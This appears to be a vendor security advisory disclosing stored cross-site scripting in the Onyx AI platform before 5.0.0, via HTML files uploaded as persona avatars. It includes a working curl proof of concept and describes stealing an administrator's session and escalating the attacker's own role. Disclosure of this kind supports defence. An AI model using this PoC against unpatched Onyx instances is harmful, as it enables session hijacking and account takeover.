Onyx: Stored XSS via the Avatar of a Persona
A user with the default role uploads an HTML file as the avatar of a public persona; Onyx serves it inline on the application origin with the Content-Type the attacker chose.
Advisory ID: TP-2026-163
Product: Onyx (self-hosted AI platform for chat and enterprise search)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: not requested
CVSS 3.1: 7.3 (High)
Affected versions: before 5.0.0 (verified live: 4.0.5)
Fixed in: 5.0.0
Reported: 3 June 2026
Summary
Onyx is a self-hosted AI platform for chat and enterprise search; users create personas with their own avatar. The avatar upload endpoint does not check the file content and stores the Content-Type sent by the client. The avatar endpoint serves the file with exactly that type, without Content-Disposition, without X-Content-Type-Options: nosniff and without a Content Security Policy. A file uploaded as text/html or image/svg+xml is therefore rendered as a document on the application origin when the avatar URL is opened directly. A user with the default role runs JavaScript in the session of every user or administrator who opens the avatar URL of a public persona.
Root cause
POST /api/admin/persona/upload-image requires only Permission.BASIC_ACCESS despite the /admin/ prefix and stores file.content_type unchanged as file_type, without a type check or re-encoding (backend/onyx/server/features/persona/api.py:285-298, all line numbers as of version 4.0.5).
GET /api/persona/{persona_id}/avatar returns the file as a StreamingResponse with media_type=file_record.file_type (backend/onyx/server/features/persona/api.py:547-603).
The response carries only Cache-Control, ETag and Vary, so neither Content-Disposition nor nosniff nor a Content Security Policy.
The access check get_persona_by_id(is_for_edit=False) releases every persona the caller may view, including every one with is_public:true.
In the default configuration AUTH_TYPE=basic, registration is open (backend/onyx/auth/users.py:523-525).
Proof of Concept
curl -b c -X POST :3001/api/admin/persona/upload-image \
-F '[email protected];type=text/html;filename=avatar.html'
# {"file_id":"<uuid>"}
# xss.html: <script>document.title="XSSWIN";alert(document.domain)</script>
curl -b c -X POST :3001/api/persona -H 'Content-Type: application/json' \
-d '{"name":"XSSBot", ... ,"is_public":true,"uploaded_image_id":"<uuid>"}'
# {"id":1,...,"is_public":true}
curl -b victim_cookie -i :3001/api/persona/1/avatar
# HTTP/1.1 200
# Content-Type: text/html; charset=utf-8
# <script>document.title="XSSWIN";alert(document.domain)</script>
The server takes type=text/html from the upload and sends the file with that type to every authenticated viewer of the public persona. Verified on version 4.0.5 in the browser: when an administrator opened the avatar URL directly, the script ran on the application origin and read the administrator's session through fetch('/api/me',{credentials:'include'}). As the control, the same avatar inside an <img> element had no effect, so the victim has to open the URL directly. Anonymous requests received HTTP 403.
Impact
- JavaScript execution on the application origin in the session of every authenticated user who opens the avatar URL.
- The script sends requests with the victim's session and reads and changes everything the victim has access to.
- If the victim is an administrator, the management endpoints are open to the script, for example
PATCH /api/manage/set-user-roleto promote the attacker's account. - The file stays stored and is served again to every viewer; in the default configuration a self-registered account is enough for the attacker.
References
Is Something Like This in Your Software?
Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
